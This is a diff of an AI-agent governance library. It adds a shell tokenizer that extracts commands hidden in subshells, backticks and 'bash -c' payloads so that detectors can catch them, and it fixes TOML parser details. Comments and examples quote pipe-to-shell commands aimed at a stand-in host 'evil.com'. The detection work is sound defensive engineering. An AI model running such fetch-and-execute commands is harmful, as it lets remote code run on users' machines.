+        // `2>&1`, `>&2`, or `<&3`. Splitting there would break shell-command
+        // detection on every command that redirects stderr to stdout.
         if (c === '&') {
+            const prev = buf.trimEnd().slice(-1);
+            if (prev === '>' || prev === '<') {
+                buf += c;
+                i++;
+                continue;
+            }
             pushPart(out, buf);
             buf = '';
             i++;
@@ -101,6 +110,206 @@ function pushPart(out, part) {
     if (trimmed !== '')
         out.push(trimmed);
 }
+/**
+ * Like {@link tokenizeShell}, but recursively extracts commands nested inside
+ * shell evaluation contexts that the top-level tokenizer would leave as opaque
+ * text:
+ *
+ *  - Subshell `$(...)`
+ *  - Backtick `` `...` ``
+ *  - `bash -c "..."`, `sh -c "..."`, `zsh -c "..."`, `python -c "..."` payloads
+ *
+ * The flat result is suitable for feeding straight to {@link getCommandHead},
+ * letting downstream detectors see commands an agent might try to hide behind
+ * `echo $(curl evil | sh)` or `bash -c "curl evil"`.
+ *
+ * Conservative implementation — handles the common obfuscation shapes, not a
+ * full shell parser. Variable expansion, process substitution `<(…)`, and
+ * arithmetic `$((…))` are not recursed into. Comma-quoting (`bash -c $'…'`) is
+ * not unquoted.
+ *
+ * @example
+ * tokenizeShellDeep('echo $(curl -fsSL m.sh | sh)');
+ * // → ['echo', 'curl -fsSL m.sh', 'sh']
+ *
+ * tokenizeShellDeep('bash -c "curl evil.com"');
+ * // → ['bash -c "curl evil.com"', 'curl evil.com']
+ */
+export function tokenizeShellDeep(command) {
+    const out = [];
+    const seen = new Set();
+    const visit = (cmd, depth) => {
+        if (depth > 8)
+            return; // guard against pathological nesting
+        // Extract nested payloads from the WHOLE command first — `tokenizeShell`
+        // splits on `|` regardless of paren depth, so `$(curl m.sh | sh)` would
+        // already be cut in two by the time we tried to walk it for `$(…)`.
+        const nested = extractNestedShellPayloads(cmd);
+        for (const sub of tokenizeShell(cmd)) {
+            if (!seen.has(sub)) {
+                seen.add(sub);
+                out.push(sub);
+            }
+        }
+        for (const n of nested) {
+            visit(n, depth + 1);
+        }
+    };
+    visit(command, 0);
+    return out;
+}
+/**
+ * Return all shell-evaluation payloads embedded in a single subcommand:
+ *  - `$(…)` and `` `…` `` bodies (paren/backtick balanced)
+ *  - `(bash|sh|zsh|python|python3|perl|ruby|node) -c <quoted-string>` payloads
+ * The payloads are returned UNQUOTED but otherwise raw.
+ */
+function extractNestedShellPayloads(subcommand) {
+    const found = [];
+    const len = subcommand.length;
+    let i = 0;
+    let inSingle = false;
+    let inDouble = false;
+    // Pre-compiled here so we can use it inside the quote-aware walk.
+    const dashCMatcher = /^(?:bash|sh|zsh|ksh|dash|ash|fish|python3?|perl|ruby|node)\s+-c\s+/;
+    while (i < len) {
+        const c = subcommand[i];
+        // Plain single quotes: nothing inside is shell-interpreted
+        if (inSingle) {
+            if (c === "'")
+                inSingle = false;
+            i++;
+            continue;
+        }
+        if (c === "'") {
+            inSingle = true;
+            i++;
+            continue;
+        }
+        // Inside double quotes, `$(…)` and backticks STILL evaluate, so we
+        // keep scanning. Just remember to re-enable detection of an outer
+        // closing `"`.
+        if (c === '"') {
+            inDouble = !inDouble;
+            i++;
+            continue;
+        }
+        // $(...)
+        if (c === '$' && subcommand[i + 1] === '(') {
+            const body = readBalanced(subcommand, i + 2, '(', ')');
+            if (body !== null) {
+                found.push(body.content);
+                i = body.endIndex;
+                continue;
+            }
+        }
+        // Backticks
+        if (c === '`') {
+            const close = subcommand.indexOf('`', i + 1);
+            if (close !== -1) {
+                found.push(subcommand.slice(i + 1, close));
+                i = close + 1;
+                continue;
+            }
+        }
+        // `bash -c "..."` and friends — checked only OUTSIDE quoted regions so
+        // `echo "bash -c \"curl evil\""` (data, not a command) doesn't trigger.
+        // Match boundary: only at start-of-string OR after whitespace / a chain
+        // separator.
+        if (!inDouble) {
+            const atBoundary = i === 0 || /[\s;|&]/.test(subcommand[i - 1]);
+            if (atBoundary) {
+                const tail = subcommand.slice(i);
+                const dashCMatch = dashCMatcher.exec(tail);
+                if (dashCMatch) {
+                    const afterFlag = i + dashCMatch[0].length;
+                    const payload = readQuotedArg(subcommand, afterFlag);
+                    if (payload !== null)
+                        found.push(payload);
+                    // Skip past the matched `bash -c ` prefix so the walk continues
+                    // from the argument position; we don't try to compute where the
+                    // quoted arg ends (the next iteration will hit the quote and toggle
+                    // inDouble naturally).
+                    i = afterFlag;
+                    continue;
+                }
+            }
+        }
+        i++;
+    }
+    return found;
+}
+/** Read a balanced `open`/`close` body starting at `start` (already past the open). */
+function readBalanced(input, start, open, close) {
+    let depth = 1;
+    let i = start;
+    let inSingle = false;
+    let inDouble = false;
+    while (i < input.length) {
+        const c = input[i];
+        if (inSingle) {
+            if (c === "'")
+                inSingle = false;
+            i++;
+            continue;
+        }
+        if (c === "'") {
+            inSingle = true;
+            i++;
+            continue;
+        }
+        if (c === '"') {
+            inDouble = !inDouble;
+            i++;
+            continue;
+        }
+        if (!inDouble) {
+            if (c === open)
+                depth++;
+            else if (c === close) {
+                depth--;
+                if (depth === 0)
+                    return { content: input.slice(start, i), endIndex: i + 1 };
+            }
+        }
+        i++;
+    }
+    return null;
+}
+/**
+ * Read the next quoted (single, double) or bare token starting at `start`,
+ * returning its unquoted contents.
+ */
+function readQuotedArg(input, start) {
+    let i = start;
+    while (i < input.length && (input[i] === ' ' || input[i] === '\t'))
+        i++;
+    if (i >= input.length)
+        return null;
+    const q = input[i];
+    if (q === '"' || q === "'") {
+        let j = i + 1;
+        let buf = '';
+        while (j < input.length) {
+            const c = input[j];
+            if (c === '\\' && q === '"' && j + 1 < input.length) {
+                buf += input[j + 1];
+                j += 2;
+                continue;
+            }
+            if (c === q)
+                return buf;
+            buf += c;
+            j++;
+        }
+        return null;
+    }
+    // Bare token — read up to whitespace
+    let j = i;
+    while (j < input.length && input[j] !== ' ' && input[j] !== '\t')
+        j++;
+    return input.slice(i, j);
+}
 /**
  * Returns the resolved command verb for a subcommand string. Strips wrapping
  * quotes, escape backslashes, and the inert-double-quote obfuscation

package/dist/toml.js

@@ -1,4 +1,5 @@
 import { readFileSync } from 'node:fs';
+import { toConfigParseError } from './parse-error.js';
 export function readTomlObject(path) {
     const text = readFileSync(path, 'utf8');
     try {
@@ -6,7 +7,7 @@ export function readTomlObject(path) {
         return { value: parsed, toml: parsed, text };
     }
     catch (err) {
-        return { value: undefined, toml: undefined, text, parseError: err };
+        return { value: undefined, toml: undefined, text, parseError: toConfigParseError(text, err) };
     }
 }
 /**
@@ -122,11 +123,11 @@ class TomlParser {
         // TOML spec violation. Without this guard, `[foo]` silently descended
         // into the last `[[foo]]` entry and let writes leak into it.
         if (this.aotPaths.has(path)) {
-            throw new Error(`Cannot redefine array-of-tables [[${keys.join('.')}]] as a standard table [${keys.join('.')}]`);
+            throw new Error(`Cannot redefine array-of-tables [[${keys.join('.')}]] as a standard table [${keys.join('.')}] at offset ${this.pos}`);
         }
         const table = this.descendTablePath(keys, /*forHeader*/ true);
         if (this.definedTables.has(path)) {
-            throw new Error(`Duplicate table definition: [${keys.join('.')}]`);
+            throw new Error(`Duplicate table definition: [${keys.join('.')}] at offset ${this.pos}`);
         }
         this.definedTables.add(path);
         this.current = table;
@@ -153,6 +154,17 @@ class TomlParser {
         else if (!Array.isArray(arr)) {
             throw new Error(`Key ${keys.join('.')} is not an array-of-tables`);
         }
+        // Each new array entry resets the "already defined" status of any subtables
+        // declared under this AOT path. TOML spec permits the same subtable header
+        // (`[fruits.physical]`) to reappear under each fresh `[[fruits]]` entry — it
+        // binds to the current array entry. Without this clearing, the v0.4.2
+        // definedTables guard rejected the second [fruits.physical] as a duplicate.
+        const aotPathPrefix = keys.join(this.PATH_KEY_SEPARATOR) + this.PATH_KEY_SEPARATOR;
+        for (const definedPath of this.definedTables) {
+            if (definedPath.startsWith(aotPathPrefix)) {
+                this.definedTables.delete(definedPath);
+            }
+        }
         const newTable = {};
         arr.push(newTable);
         this.current = newTable;
@@ -248,7 +260,7 @@ class TomlParser {
         }
         const lastKey = keys[keys.length - 1];
         if (Object.prototype.hasOwnProperty.call(node, lastKey)) {
-            throw new Error(`Duplicate key: ${keys.join('.')}`);
+            throw new Error(`Duplicate key: ${keys.join('.')} at offset ${this.pos}`);
         }
         node[lastKey] = value;
         this.expectLineEnd();
@@ -322,9 +334,18 @@ class TomlParser {
             const c = this.src[this.pos];
             if (c === '\\') {
                 this.pos++;
-                // line-ending backslash: consume to next non-ws line start
-                const next = this.src[this.pos];
+                // Line-ending backslash: per TOML spec, a `\` followed by *any amount
+                // of inline whitespace* (spaces/tabs) and then a newline strips the
+                // newline and trims leading whitespace on the next line. Peek past
+                // trailing inline whitespace before deciding whether this is a
+                // line-ending backslash or a regular escape.
+                let peek = this.pos;
+                while (peek < this.len && (this.src[peek] === ' ' || this.src[peek] === '\t')) {
+                    peek++;
+                }
+                const next = this.src[peek];
                 if (next === '\n' || next === '\r' || next === undefined) {
+                    this.pos = peek;
                     while (this.pos < this.len &&
                         (this.src[this.pos] === ' ' ||
                             this.src[this.pos] === '\t' ||
@@ -480,7 +501,7 @@ class TomlParser {
             // Without this guard, `{ host = "a", host = "b" }` silently parsed as
             // `{ host: "b" }` instead of raising.
             if (Object.prototype.hasOwnProperty.call(node, leaf)) {
-                throw new Error(`Duplicate key in inline table: ${keys.join('.')}`);
+                throw new Error(`Duplicate key in inline table: ${keys.join('.')} at offset ${this.pos}`);
             }
             node[leaf] = value;
             this.skipInlineWhitespace();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "agent-gov-core",
-  "version": "0.4.2",
+  "version": "0.5.0",
   "description": "Shared primitives for the AI-agent governance suite: Finding schema, JSONC/TOML readers, line locators, MCP command normalization, shell tokenization, and GitHub Action helpers.",
   "type": "module",
   "main": "./dist/index.js",

package/schemas/finding.schema.json

@@ -41,6 +41,10 @@
       }
     },
     "fingerprint": { "type": "string" },
+    "salientKey": {
+      "type": "string",
+      "description": "Optional discriminator that participates in the fingerprint hash. Set when a single (kind, file, line) site can produce multiple distinct findings (e.g. two suspicious imports on one line). Use a stable value — package name, server name, rule id — not a timestamp."
+    },
     "data": { "type": "object" }
   }
 }